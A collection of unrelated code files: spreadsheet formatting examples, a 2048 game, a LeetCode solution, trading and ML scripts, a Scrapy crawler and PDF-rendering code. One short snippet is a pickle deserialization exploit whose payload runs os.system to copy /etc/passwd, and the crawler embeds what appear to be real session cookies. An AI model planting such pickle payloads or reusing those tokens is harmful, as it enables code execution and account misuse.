'format': format2}) ############################################################################### # # Example 4. # caption = ('Above average values are in light red. ' 'Below average values are in light green.') worksheet4.write('A1', caption) for row, row_data in enumerate(data): worksheet4.write_row(row + 2, 1, row_data) worksheet4.conditional_format('B3:K12', {'type': 'average', 'criteria': 'above', 'format': format1}) worksheet4.conditional_format('B3:K12', {'type': 'average', 'criteria': 'below', 'format': format2}) ############################################################################### # # Example 5. # caption = ('Top 10 values are in light red. ' 'Bottom 10 values are in light green.') worksheet5.write('A1', caption) for row, row_data in enumerate(data): worksheet5.write_row(row + 2, 1, row_data) worksheet5.conditional_format('B3:K12', {'type': 'top', 'value': '10', 'format': format1}) worksheet5.conditional_format('B3:K12', {'type': 'bottom', 'value': '10', 'format': format2}) ############################################################################### # # Example 6. # caption = ('Cells with values >= 50 are in light red. ' 'Values < 50 are in light green. Non-contiguous ranges.') # Write the data. worksheet6.write('A1', caption) for row, row_data in enumerate(data): worksheet6.write_row(row + 2, 1, row_data) # Write a conditional format over a range. worksheet6.conditional_format('B3:K6', {'type': 'cell', 'criteria': '>=', 'value': 50, 'format': format1, 'multi_range': 'B3:K6 B9:K12'}) # Write another conditional format over the same range. worksheet6.conditional_format('B3:K6', {'type': 'cell', 'criteria': '<', 'value': 50, 'format': format2, 'multi_range': 'B3:K6 B9:K12'}) ############################################################################### # # Example 7. # caption = 'Examples of color scales with default and user colors.' data = range(1, 13) worksheet7.write('A1', caption) worksheet7.write('B2', "2 Color Scale") worksheet7.write('D2', "2 Color Scale + user colors") worksheet7.write('G2', "3 Color Scale") worksheet7.write('I2', "3 Color Scale + user colors") for row, row_data in enumerate(data): worksheet7.write(row + 2, 1, row_data) worksheet7.write(row + 2, 3, row_data) worksheet7.write(row + 2, 6, row_data) worksheet7.write(row + 2, 8, row_data) worksheet7.conditional_format('B3:B14', {'type': '2_color_scale'}) worksheet7.conditional_format('D3:D14', {'type': '2_color_scale', 'min_color': "#FF0000", 'max_color': "#00FF00"}) worksheet7.conditional_format('G3:G14', {'type': '3_color_scale'}) worksheet7.conditional_format('I3:I14', {'type': '3_color_scale', 'min_color': "#C5D9F1", 'mid_color': "#8DB4E3", 'max_color': "#538ED5"}) ############################################################################### # # Example 8. # caption = 'Examples of data bars.' worksheet8.write('A1', caption) worksheet8.write('B2', "Default data bars") worksheet8.write('D2', "Bars only") worksheet8.write('F2', "With user color") worksheet8.write('H2', "Solid bars") worksheet8.write('J2', "Right to left") worksheet8.write('L2', "Excel 2010 style") worksheet8.write('N2', "Negative same as positive") data = range(1, 13) for row, row_data in enumerate(data): worksheet8.write(row + 2, 1, row_data) worksheet8.write(row + 2, 3, row_data) worksheet8.write(row + 2, 5, row_data) worksheet8.write(row + 2, 7, row_data) worksheet8.write(row + 2, 9, row_data) data = [-1, -2, -3, -2, -1, 0, 1, 2, 3, 2, 1, 0] for row, row_data in enumerate(data): worksheet8.write(row + 2, 11, row_data) worksheet8.write(row + 2, 13, row_data) worksheet8.conditional_format('B3:B14', {'type': 'data_bar'}) worksheet8.conditional_format('D3:D14', {'type': 'data_bar', 'bar_only': True}) worksheet8.conditional_format('F3:F14', {'type': 'data_bar', 'bar_color': '#63C384'}) worksheet8.conditional_format('H3:H14', {'type': 'data_bar', 'bar_solid': True}) worksheet8.conditional_format('J3:J14', {'type': 'data_bar', 'bar_direction': 'right'}) worksheet8.conditional_format('L3:L14', {'type': 'data_bar', 'data_bar_2010': True}) worksheet8.conditional_format('N3:N14', {'type': 'data_bar', 'bar_negative_color_same': True, 'bar_negative_border_color_same': True}) ############################################################################### # # Example 9. # caption = 'Examples of conditional formats with icon sets.' data = [ [1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3], [1, 2, 3, 4], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], ] worksheet9.write('A1', caption) for row, row_data in enumerate(data): worksheet9.write_row(row + 2, 1, row_data) worksheet9.conditional_format('B3:D3', {'type': 'icon_set', 'icon_style': '3_traffic_lights'}) worksheet9.conditional_format('B4:D4', {'type': 'icon_set', 'icon_style': '3_traffic_lights', 'reverse_icons': True}) worksheet9.conditional_format('B5:D5', {'type': 'icon_set', 'icon_style': '3_traffic_lights', 'icons_only': True}) worksheet9.conditional_format('B6:D6', {'type': 'icon_set', 'icon_style': '3_arrows'}) worksheet9.conditional_format('B7:E7', {'type': 'icon_set', 'icon_style': '4_arrows'}) worksheet9.conditional_format('B8:F8', {'type': 'icon_set', 'icon_style': '5_arrows'}) worksheet9.conditional_format('B9:F9', {'type': 'icon_set', 'icon_style': '5_ratings'}) workbook.close()
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test = { 'name': 'Numpy - Q5', 'points': 0, 'suites': [ { 'cases': [ { 'code': r""" >>> # It looks like you didn't give anything the name >>> # fb_vol. Maybe there's a typo, or maybe you >>> # just need to run the cell above this test cell where you defined >>> # fb_vol. (Click that cell and then click the "run >>> # cell" button in the menu bar above.) >>> 'fb_vol' in vars() a7465ecc0421c9e0085a8a012fce1e93 # locked """, 'hidden': False, 'locked': True }, { 'code': r""" >>> fb_vol//0.0001 == 161.0 a7465ecc0421c9e0085a8a012fce1e93 # locked """, 'hidden': False, 'locked': True } ], 'scored': False, 'setup': '', 'teardown': '', 'type': 'doctest' } ] }
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# -*- coding: utf-8 -*- """ Faça um programa que peça o tamanho de um arquivo para download (em MB) e a velocidade de um link de Internet (em Mbps), calcule e informe o tempo aproximado de download do arquivo usando este link (em minutos). """
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from tkinter import * from logic2048 import Game N = 4 color = {'' : 'light gray', 2 : 'pink', 4 : 'red', 8 : 'orange', 16: 'yellow', 32: 'light blue', 64: 'blue', 128: 'light green', 256: 'green'} def left(event): game.left() draw(game) if game.game_over(): print('GAME OVER') def right(event): game.right() draw(game) if game.game_over(): print('GAME OVER') def up(event): game.up() draw(game) if game.game_over(): print('GAME OVER') def down(event): game.down() draw(game) if game.game_over(): print('GAME OVER') def draw(game): for i in range(N): for j in range(N): table[i][j]['text'] = game[i][j] try: table[i][j]['bg'] = color[game[i][j]] except KeyError: table[i][j]['bg'] = 'white' root = Tk() table = [[Label(root, height=2, width=4, font='Arial 24') for i in range(N)] for j in range(N)] for i in range(N): for j in range(N): table[i][j].grid(row=i, column=j) for i in range(N): root.grid_rowconfigure(i, pad=10) root.grid_columnconfigure(i, pad=10) game = Game() draw(game) root.bind('<Left>', left) root.bind('<Right>', right) root.bind('<Up>', up) root.bind('<Down>', down) root.mainloop()
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import os import pickle class Exploit(): def __reduce__(self): return (os.system, ("cat /etc/passwd > exploit.txt && curl www.google.com >> exploit.txt",)) def serialize_exploit(fname): with open(fname, 'wb') as f: pickle.dump(Exploit(), f) serialize_exploit('loadme') pickle.load(open('loadme', 'rb'))
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/leetcode/python/45/sol.py
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10-lines C++ (16ms) / Python BFS Solutions with Explanations https://leetcode.com/problems/jump-game-ii/discuss/18019 * Lang: python3 * Author: jianchao-li * Votes: 71 This problem has a nice BFS structure. Let's illustrate it using the example `nums = [2, 3, 1, 1, 4]` in the problem statement. We are initially at position `0`. Then we can move at most `nums[0]` steps from it. So, after one move, we may reach `nums[1] = 3` or `nums[2] = 1`. So these nodes are reachable in `1` move. From these nodes, we can further move to `nums[3] = 1` and `nums[4] = 4`. Now you can see that the target `nums[4] = 4` is reachable in `2` moves. Putting these into codes, we keep two pointers `start` and `end` that record the current range of the starting nodes. Each time after we make a move, update `start` to be `end + 1` and `end` to be the farthest index that can be reached in `1` move from the current `[start, end]`. To get an accepted solution, it is important to handle all the edge cases. And the following codes handle all of them in a unified way without using the unclean `if` statements :-) ---------- **C++** class Solution { public: int jump(vector<int>& nums) { int n = nums.size(), step = 0, start = 0, end = 0; while (end < n - 1) { step++; int maxend = end + 1; for (int i = start; i <= end; i++) { if (i + nums[i] >= n - 1) return step; maxend = max(maxend, i + nums[i]); } start = end + 1; end = maxend; } return step; } }; ---------- **Python** class Solution: # @param {integer[]} nums # @return {integer} def jump(self, nums): n, start, end, step = len(nums), 0, 0, 0 while end < n - 1: step += 1 maxend = end + 1 for i in range(start, end + 1): if i + nums[i] >= n - 1: return step maxend = max(maxend, i + nums[i]) start, end = end + 1, maxend return step
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webclinic017/f-indicators
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# Import indicators # Attach them to strategy obj # Start GA with strategy obj import logging import pandas as pd import numpy as np from backtesting import Strategy, Backtest from talib import SMA from backtesting.lib import crossover from pathlib import Path, PurePosixPath from utils import TFConvertor log = logging.getLogger("GA") log.setLevel(logging.DEBUG) path = Path(__file__).parent.resolve().parent path = path.joinpath("logs/ga.log") log.addHandler(logging.FileHandler(path.resolve())) data = pd.read_csv("data_large/EURUSD_Candlestick_1_M_BID_09.05.2018-30.03.2020.csv") data['Datetime'] = pd.to_datetime(data['Datetime'], format="%d.%m.%Y %H:%M:%S") # set datetime as index data = data.set_index('Datetime') data_loc = data.loc["2017":"2020"] datatmp = TFConvertor(data_loc, '4H') # It is different for every new individual class SmaCross(Strategy): # Define the two MA lags as *class variables* # genome: n1 = 2 n2 = 6 n3 = 10 n4 = 20 price = 'Close' def init(self, *args, **kwargs): # Precompute two moving averages self.sma1 = self.I(SMA, datatmp["Close"], self.n1) self.sma2 = self.I(SMA, datatmp["Close"], self.n2) self.sma3 = self.I(SMA, datatmp["Close"], self.n3) self.sma4 = self.I(SMA, datatmp["Close"], self.n4) # self.sma1 = SMA(datatmp["Close"], self.n1) # self.sma2 = SMA(datatmp["Close"], self.n2) # self.sma3 = SMA(datatmp["Close"], self.n3) # self.sma4 = SMA(datatmp["Close"], self.n4) # Precompute support and resistance using specified function as first input of self.I() # self.support_resistance = self.I(Pivot5points, self.data, self.sup_res_candles) def next(self): # If sma1 crosses above sma2, buy the asset if crossover(self.sma1, self.sma2) and crossover(self.sma3, self.sma4): try: print("Is buying...") self.buy() except: log.error("Something went wrong in buy() function!") # Else, if sma1 crosses below sma2, sell it elif crossover(self.sma2, self.sma1) and crossover(self.sma4, self.sma3): try: self.sell() except: log.error("Something went wrong in sell() function!") bt = Backtest(datatmp, SmaCross, cash=10000, commission=.02) result = bt.run() print(result) print(np.isnan(result.SQN))
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tanaychaulinsec/User-authentication
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from django.apps import AppConfig class UsersaccountConfig(AppConfig): name = 'usersAccount'
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import pandas as pd import numpy as np import tensorflow.keras as K import mlflow.tensorflow import sys import logging import zipfile # mlflow server --backend-store-uri mlruns/ --default-artifact-root mlruns/ --host 0.0.0.0 --port 5000 def getting_data(zipfolder, filename, cols): """ Get the data from a zip file :param path: direction to zip file :return: train dataset """ with zipfile.ZipFile(zipfolder, 'r') as zip_ref: zip_ref.extractall() data = pd.read_csv(filename, usecols=cols) print('data set shape: ', data.shape, '\n') print(data.head()) return data def process_args(argv): """ convert the data arguments into the needed format :param argv: Parameters :return: converted parameters """ data_path = sys.argv[1] if len(sys.argv) > 1 else '../data' debug = sys.argv[2].lower() if len(sys.argv) > 1 else 'false' model_type = sys.argv[3] if len(sys.argv) > 1 else [256, 128] model_type = model_type[1:-1].split(',') splited_network = [int(x) for x in model_type] alpha = float(sys.argv[4]) if len(sys.argv) > 1 else 0.5 l1_ratio = float(sys.argv[5]) if len(sys.argv) > 2 else 0 return data_path, debug, splited_network, alpha, l1_ratio def create_model(network): model = K.models.Sequential() model.add(K.layers.Dense(units=256, input_dim=6, kernel_initializer='ones', kernel_regularizer=K.regularizers.l1(l1_ratio), )) for units in network[1:]: model.add(K.layers.Dense(units=units, kernel_initializer='ones', kernel_regularizer=K.regularizers.l1(l1_ratio), )) model.add(K.layers.Dense(units=1, activation='sigmoid')) opt = K.optimizers.Adam(learning_rate=alpha) model.compile(optimizer=opt, loss='binary_crossentropy', metrics=['accuracy'], ) print(model.summary()) return model def train_model(model, X_train, Y_train, batch_size=128, epoch=80, val_split=0.1): """ Perform the training of the model :param model: model previously compiled :return: history """ history = model.fit(x=X_train, y=Y_train, batch_size=128, epochs=80, validation_split=0.1) return history if __name__ == '__main__': logging.basicConfig(level=logging.WARN) logger = logging.getLogger(__name__) # mlflow mlflow.tensorflow.autolog() # Utils cols from data train_cols = ['Survived', 'Pclass', 'Sex', 'Age', 'SibSp', 'Parch', 'Fare'] test_cols = ['Pclass', 'Sex', 'Age', 'SibSp', 'Parch', 'Fare'] X_cols = ['Pclass', 'Sex', 'Age', 'SibSp', 'Parch', 'Fare'] Y_cols = ['Survived'] # Get value arguments data_path, debug, network, alpha, l1_ratio = process_args(sys.argv) # train Data filename = 'train.csv' data = getting_data(data_path, filename, train_cols) data['Sex_b'] = pd.factorize(data.Sex)[0] data = data.drop(['Sex'], axis=1) data = data.rename(columns={"Sex_b": "Sex"}) # testing data filename = 'test.csv' test = getting_data(data_path, filename, test_cols) test['Sex_b'] = pd.factorize(test.Sex)[0] test = test.drop(['Sex'], axis=1) test = test.rename(columns={"Sex_b": "Sex"}) # filling train na values with mean column_means = data.mean() data = data.fillna(column_means) # filling test na values with mean column_means = test.mean() test = test.fillna(column_means) input_data = np.array(data[X_cols]) label_date = np.array(data[Y_cols]) test_input_data = np.array(test[X_cols]) X_train = input_data Y_train = label_date # definition of the model model = create_model(network) # training model history = train_model(model, X_train, Y_train) # predicting score = model.predict(test_input_data, batch_size=32, verbose=1) print("Test score:", score[0]) print("Test accuracy:", score[1])
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fumi = { "身長": "1.73m", "好きな色": "緑", "好きな人": "Hideki Matsui" } answer = input("身長,好きな色 or 好きな人") if answer in fumi: a = fumi[answer] print(a) #:注意
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/.venv/lib/python2.7/site-packages/indico/modules/events/logs/controllers.py
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# This file is part of Indico. # Copyright (C) 2002 - 2018 European Organization for Nuclear Research (CERN). # # Indico is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # Indico is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Indico; if not, see <http://www.gnu.org/licenses/>. from __future__ import unicode_literals from indico.modules.events.logs.models.entries import EventLogEntry from indico.modules.events.logs.views import WPEventLogs from indico.modules.events.management.controllers import RHManageEventBase class RHEventLogs(RHManageEventBase): """Shows the modification/action log for the event""" def _process(self): entries = self.event.log_entries.order_by(EventLogEntry.logged_dt.desc()).all() realms = {e.realm for e in entries} return WPEventLogs.render_template('logs.html', self.event, entries=entries, realms=realms)
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/OIT_SpiderCode/OYT_zujuan_Param/OYT_Scrapy_Param/spiders/new_zujuan_English_middle_spiderparam.py
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#coding:utf-8 import scrapy from ..common.BaseObject import BaseObject from scrapy.spider import CrawlSpider from scrapy.selector import Selector from scrapy.http import Request,FormRequest from scrapy.selector import Selector from scrapy.http.cookies import CookieJar from fake_useragent import UserAgent import time import re import os class ZuQuanLoadData(BaseObject,CrawlSpider): name = 'zujuan_english_middle_param' custom_settings = { 'DOWNLOAD_DELAY': 3, 'CONCURRENT_REQUESTS_PER_IP': 5, 'ITEM_PIPELINES': {'OIT_ScrapyData.pipelines.OitScrapydataPipeline': None, } } def __init__(self): ua = UserAgent() user_agent = ua.random self.file_name='zujuan_english_middle_param' self.cookieValue = {'xd': '75519cb9f2bf90d001c0560f5c40520062a60ada9cb38350078f83e04ee38a31a%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22xd%22%3Bi%3A1%3Bi%3A2%3B%7D', 'isdialog': 'bad3c21672f08107d1d921526d191f58bd47d79e7dbb432bd32624a836b42e85a%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22isdialog%22%3Bi%3A1%3Bs%3A4%3A%22show%22%3B%7D', '_csrf': '34c90a094ad3b3ab53cb75751fcab02bf693c164a6f5dfa244a6aec61e2f187ca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22YlTOGIyOfskw0gy-voJy0vbGw4VVswCs%22%3B%7D', 'device': '310bdaba05b30bb632f66fde9bf3e2b91ebc4d607c250c2e1a1d9e0dfb900f01a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22device%22%3Bi%3A1%3BN%3B%7D', 'PHPSESSID': 'utuj4csehjg3q9inhnuhptugk6', '_sync_login_identity': '771bfb9f524cb8005c68374bdf39c9f22c36d71cf21d91082b96e7bd7a21e9eea%3A2%3A%7Bi%3A0%3Bs%3A20%3A%22_sync_login_identity%22%3Bi%3A1%3Bs%3A50%3A%22%5B1285801%2C%22YwmDuM6ftsN7jeMH7VDdT4OI-SvOisii%22%2C86400%5D%22%3B%7D', 'chid': '14e5d5f939c71d411898b3ee4671b5e06472c56cd9cffb59cc071e18732212f1a%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22chid%22%3Bi%3A1%3Bs%3A1%3A%224%22%3B%7D', '_identity': '95b973f53ecb67fdb27fe40c5660df1bbdb9c168cac8d1999dc6d0772a9ea122a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A50%3A%22%5B1285801%2C%22fa26ed63eeec36f3e1682f05b68cd887%22%2C86400%5D%22%3B%7D', 'Hm_lvt_6de0a5b2c05e49d1c850edca0c13051f': '1515666025', 'Hm_lpvt_6de0a5b2c05e49d1c850edca0c13051f': '1515666640'} self.hearders = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Connection': 'keep - alive', # 'Referer': 'http://www.zujuan.com/question /index?chid = 3 & xd = 1', 'User-Agent': user_agent#'Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36' } print(self.hearders) self.domain = 'http://www.zujuan.com' def start_requests(self): start_url = 'http://www.zujuan.com/question/index?chid=4&xd=2' return [Request(url=start_url,cookies=self.cookieValue,headers=self.hearders,callback=self.parse_version)] def parse_version(self,response): result = response.body.decode() resu = Selector(text=result) versionTexts = resu.xpath('//div[@class="type-items"][1]/div/div/div/a/text()').extract() versionUrls = resu.xpath('//div[@class="type-items"][1]/div/div/div/a/@href').extract() version = dict(zip(versionTexts, versionUrls)) print(version)#{'人教版': '/question?bookversion=11740&chid=3&xd=1', '青岛版六三制': '/question?bookversion=23087&chid=3&xd=1', '北师大版': '/question?bookversion=23313&chid=3&xd=1', '苏教版': '/question?bookversion=25571&chid=3&xd=1', '西师大版': '/question?bookversion=47500&chid=3&xd=1', '青岛版五四制': '/question?bookversion=70885&chid=3&xd=1', '浙教版': '/question?bookversion=106060&chid=3&xd=1'} for text in version : if ('牛津' in text): manURL =self.domain+version[text]#http://www.zujuan.com/question?bookversion=25571&chid=3&xd=1 deliver_param = {'version':'牛津译林版'} deliver_param['course'] = '英语' return [Request(url=manURL, meta=deliver_param,cookies=self.cookieValue, headers=self.hearders,callback=self.parse_categories)] elif('沪教' in text): manURL = self.domain + version[text] # http://www.zujuan.com/question?bookversion=25571&chid=3&xd=1 deliver_param = {'version': '沪教版'} deliver_param['course'] = '英语' return [Request(url=manURL,meta=deliver_param, cookies=self.cookieValue, headers=self.hearders, callback=self.parse_categories)] else: pass def parse_categories(self,response): print(123,response.meta) result = response.body.decode() resu = Selector(text=result) categoriesTexts = resu.xpath('//div[@class="type-items"][2]/div/div/div/a/text()').extract() categoriesUrls = resu.xpath('//div[@class="type-items"][2]/div/div/div/a/@href').extract() #http://www.zujuan.com/question?categories=25576&bookversion=25571&nianji=25576&chid=3&xd=1 categories = dict(zip(categoriesTexts, categoriesUrls)) print(123,categories) categories_list = [] # print(categories)# {'一年级上册': '/question?categories=25572&bookversion=25571&nianji=25572&chid=3&xd=1', '一年级下册': '/question?categories=25573&bookversion=25571&nianji=25573&chid=3&xd=1', '二年级上册': '/question?categories=25574&bookversion=25571&nianji=25574&chid=3&xd=1', '二年级下册': '/question?categories=25575&bookversion=25571&nianji=25575&chid=3&xd=1', '三年级上册': '/question?categories=25576&bookversion=25571&nianji=25576&chid=3&xd=1', '三年级下册': '/question?categories=25577&bookversion=25571&nianji=25577&chid=3&xd=1', '四年级上册': '/question?categories=25578&bookversion=25571&nianji=25578&chid=3&xd=1', '四年级下册': '/question?categories=25579&bookversion=25571&nianji=25579&chid=3&xd=1', '五年级上册': '/question?categories=25580&bookversion=25571&nianji=25580&chid=3&xd=1', '五年级下册': '/question?categories=25581&bookversion=25571&nianji=25581&chid=3&xd=1', '六年级上册': '/question?categories=25582&bookversion=25571&nianji=25582&chid=3&xd=1', '六年级下册': '/question?categories=25592&bookversion=25571&nianji=25592&chid=3&xd=1'} for text in categories: categories_list.append(text) comment = 0 while comment < len(categories_list): text = categories_list[comment] nianjiContentUrl = self.domain + categories[text] print(12,nianjiContentUrl) nianjiContentUrl =self.domain+categories[text] comment += 1 response.meta['nianji'] = text yield Request(url=nianjiContentUrl,meta=response.meta,cookies=self.cookieValue, headers=self.hearders,callback=self.parse_categories_content) def parse_categories_content(self,response): print(123,response.meta) result = response.body.decode() resu = Selector(text=result) sectionsText = resu.xpath('//div[@id="J_Tree"]/div/a/text()').extract() sectionsUrl = resu.xpath('//div[@id="J_Tree"]/div/a/@href').extract() sections = dict(zip(sectionsText,sectionsUrl)) print(sections) self.make_file() sections_Text = [] sections_number = [] for text in sections: sections_Text.append(text) categoriesNumber = sections[text] print(type(categoriesNumber),categoriesNumber) ret = re.findall(r'categories=(\d*)&',categoriesNumber) sections_number.append(ret[0]) print(123, ret) need_sections_dict = dict(zip(sections_Text, sections_number)) nianji = response.meta ['nianji'] response.meta[nianji] = need_sections_dict need_sections_str = str(response.meta) with open('d:\\xiti10001\\zujuan\\{0}\\{1}\\categories_english_{0}.txt'.format(time.strftime('%Y%m%d',time.localtime(time.time())),self.file_name),'a') as f: f.write(need_sections_str) f.write('\n') # categoriesNumber_s = categoriesNumber.find('=') # print(categoriesNumber_s) # categoriesNumber_e = categoriesNumber.find('&') # print(categoriesNumber_e) # categoriesNumbers = categoriesNumber[categoriesNumber_s,categoriesNumber_e] def make_file(self): path = 'd:\\xiti10001\\zujuan\\{0}\\{1}'.format(time.strftime('%Y%m%d',time.localtime(time.time())),self.file_name) isExists = os.path.exists(path) if (isExists): pass; else: os.makedirs(path)
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/report_mako2pdf/lib/xhtml2pdf/reportlab_paragraph.py
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# -*- coding: utf-8 -*- # Copyright ReportLab Europe Ltd. 2000-2008 # see license.txt for license details # history http://www.reportlab.co.uk/cgi-bin/viewcvs.cgi/public/reportlab/trunk/reportlab/platypus/paragraph.py # Modifications by Dirk Holtwick, 2008 from string import join, whitespace from operator import truth from reportlab.pdfbase.pdfmetrics import stringWidth, getAscentDescent from reportlab.platypus.paraparser import ParaParser from reportlab.platypus.flowables import Flowable from reportlab.lib.colors import Color from reportlab.lib.enums import TA_LEFT, TA_RIGHT, TA_CENTER, TA_JUSTIFY from reportlab.lib.textsplit import ALL_CANNOT_START from copy import deepcopy from reportlab.lib.abag import ABag import re PARAGRAPH_DEBUG = False LEADING_FACTOR = 1.0 _wsc_re_split = re.compile('[%s]+' % re.escape(''.join(( u'\u0009', # HORIZONTAL TABULATION u'\u000A', # LINE FEED u'\u000B', # VERTICAL TABULATION u'\u000C', # FORM FEED u'\u000D', # CARRIAGE RETURN u'\u001C', # FILE SEPARATOR u'\u001D', # GROUP SEPARATOR u'\u001E', # RECORD SEPARATOR u'\u001F', # UNIT SEPARATOR u'\u0020', # SPACE u'\u0085', # NEXT LINE #u'\u00A0', # NO-BREAK SPACE u'\u1680', # OGHAM SPACE MARK u'\u2000', # EN QUAD u'\u2001', # EM QUAD u'\u2002', # EN SPACE u'\u2003', # EM SPACE u'\u2004', # THREE-PER-EM SPACE u'\u2005', # FOUR-PER-EM SPACE u'\u2006', # SIX-PER-EM SPACE u'\u2007', # FIGURE SPACE u'\u2008', # PUNCTUATION SPACE u'\u2009', # THIN SPACE u'\u200A', # HAIR SPACE u'\u200B', # ZERO WIDTH SPACE u'\u2028', # LINE SEPARATOR u'\u2029', # PARAGRAPH SEPARATOR u'\u202F', # NARROW NO-BREAK SPACE u'\u205F', # MEDIUM MATHEMATICAL SPACE u'\u3000', # IDEOGRAPHIC SPACE )))).split def split(text, delim=None): if type(text) is str: text = text.decode('utf8') if type(delim) is str: delim = delim.decode('utf8') elif delim is None and u'\xa0' in text: return [uword.encode('utf8') for uword in _wsc_re_split(text)] return [uword.encode('utf8') for uword in text.split(delim)] def strip(text): if type(text) is str: text = text.decode('utf8') return text.strip().encode('utf8') class ParaLines(ABag): """ class ParaLines contains the broken into lines representation of Paragraphs kind=0 Simple fontName, fontSize, textColor apply to whole Paragraph lines [(extraSpace1,words1),....,(extraspaceN,wordsN)] kind==1 Complex lines [FragLine1,...,FragLineN] """ class FragLine(ABag): """ class FragLine contains a styled line (ie a line with more than one style):: extraSpace unused space for justification only wordCount 1+spaces in line for justification purposes words [ParaFrags] style text lumps to be concatenated together fontSize maximum fontSize seen on the line; not used at present, but could be used for line spacing. """ #our one and only parser # XXXXX if the parser has any internal state using only one is probably a BAD idea! _parser = ParaParser() def _lineClean(L): return join(filter(truth, split(strip(L)))) def cleanBlockQuotedText(text, joiner=' '): """This is an internal utility which takes triple- quoted text form within the document and returns (hopefully) the paragraph the user intended originally.""" L = filter(truth, map(_lineClean, split(text, '\n'))) return join(L, joiner) def setXPos(tx, dx): if dx > 1e-6 or dx < -1e-6: tx.setXPos(dx) def _leftDrawParaLine(tx, offset, extraspace, words, last=0): setXPos(tx, offset) tx._textOut(join(words), 1) setXPos(tx, -offset) return offset def _centerDrawParaLine(tx, offset, extraspace, words, last=0): m = offset + 0.5 * extraspace setXPos(tx, m) tx._textOut(join(words), 1) setXPos(tx, -m) return m def _rightDrawParaLine(tx, offset, extraspace, words, last=0): m = offset + extraspace setXPos(tx, m) tx._textOut(join(words), 1) setXPos(tx, -m) return m def _justifyDrawParaLine(tx, offset, extraspace, words, last=0): setXPos(tx, offset) text = join(words) if last: #last one, left align tx._textOut(text, 1) else: nSpaces = len(words) - 1 if nSpaces: tx.setWordSpace(extraspace / float(nSpaces)) tx._textOut(text, 1) tx.setWordSpace(0) else: tx._textOut(text, 1) setXPos(tx, -offset) return offset def imgVRange(h, va, fontSize): """ return bottom,top offsets relative to baseline(0) """ if va == 'baseline': iyo = 0 elif va in ('text-top', 'top'): iyo = fontSize - h elif va == 'middle': iyo = fontSize - (1.2 * fontSize + h) * 0.5 elif va in ('text-bottom', 'bottom'): iyo = fontSize - 1.2 * fontSize elif va == 'super': iyo = 0.5 * fontSize elif va == 'sub': iyo = -0.5 * fontSize elif hasattr(va, 'normalizedValue'): iyo = va.normalizedValue(fontSize) else: iyo = va return iyo, iyo + h _56 = 5. / 6 _16 = 1. / 6 def _putFragLine(cur_x, tx, line): xs = tx.XtraState cur_y = xs.cur_y x0 = tx._x0 autoLeading = xs.autoLeading leading = xs.leading cur_x += xs.leftIndent dal = autoLeading in ('min', 'max') if dal: if autoLeading == 'max': ascent = max(_56 * leading, line.ascent) descent = max(_16 * leading, -line.descent) else: ascent = line.ascent descent = -line.descent leading = ascent + descent if tx._leading != leading: tx.setLeading(leading) if dal: olb = tx._olb if olb is not None: xcy = olb - ascent if tx._oleading != leading: cur_y += leading - tx._oleading if abs(xcy - cur_y) > 1e-8: cur_y = xcy tx.setTextOrigin(x0, cur_y) xs.cur_y = cur_y tx._olb = cur_y - descent tx._oleading = leading # Letter spacing if xs.style.letterSpacing != 'normal': tx.setCharSpace(int(xs.style.letterSpacing)) ws = getattr(tx, '_wordSpace', 0) nSpaces = 0 words = line.words for f in words: if hasattr(f, 'cbDefn'): cbDefn = f.cbDefn kind = cbDefn.kind if kind == 'img': #draw image cbDefn,cur_y,cur_x w = cbDefn.width h = cbDefn.height txfs = tx._fontsize if txfs is None: txfs = xs.style.fontSize iy0, iy1 = imgVRange(h, cbDefn.valign, txfs) cur_x_s = cur_x + nSpaces * ws tx._canvas.drawImage(cbDefn.image.getImage(), cur_x_s, cur_y + iy0, w, h, mask='auto') cur_x += w cur_x_s += w setXPos(tx, cur_x_s - tx._x0) elif kind == 'barcode': barcode = cbDefn.barcode w = cbDefn.width h = cbDefn.height txfs = tx._fontsize if txfs is None: txfs = xs.style.fontSize iy0, iy1 = imgVRange(h, cbDefn.valign, txfs) cur_x_s = cur_x + nSpaces * ws barcode.draw(canvas=tx._canvas, xoffset=cur_x_s) cur_x += w cur_x_s += w setXPos(tx, cur_x_s - tx._x0) else: name = cbDefn.name if kind == 'anchor': tx._canvas.bookmarkHorizontal(name, cur_x, cur_y + leading) else: func = getattr(tx._canvas, name, None) if not func: raise AttributeError("Missing %s callback attribute '%s'" % (kind, name)) func(tx._canvas, kind, cbDefn.label) if f is words[-1]: if not tx._fontname: tx.setFont(xs.style.fontName, xs.style.fontSize) tx._textOut('', 1) elif kind == 'img': tx._textOut('', 1) else: cur_x_s = cur_x + nSpaces * ws if (tx._fontname, tx._fontsize) != (f.fontName, f.fontSize): tx._setFont(f.fontName, f.fontSize) if xs.textColor != f.textColor: xs.textColor = f.textColor tx.setFillColor(f.textColor) if xs.rise != f.rise: xs.rise = f.rise tx.setRise(f.rise) text = f.text tx._textOut(text, f is words[-1]) # cheap textOut # XXX Modified for XHTML2PDF # Background colors (done like underline) if hasattr(f, "backColor"): if xs.backgroundColor != f.backColor or xs.backgroundFontSize != f.fontSize: if xs.backgroundColor is not None: xs.backgrounds.append((xs.background_x, cur_x_s, xs.backgroundColor, xs.backgroundFontSize)) xs.background_x = cur_x_s xs.backgroundColor = f.backColor xs.backgroundFontSize = f.fontSize # Underline if not xs.underline and f.underline: xs.underline = 1 xs.underline_x = cur_x_s xs.underlineColor = f.textColor elif xs.underline: if not f.underline: xs.underline = 0 xs.underlines.append((xs.underline_x, cur_x_s, xs.underlineColor)) xs.underlineColor = None elif xs.textColor != xs.underlineColor: xs.underlines.append((xs.underline_x, cur_x_s, xs.underlineColor)) 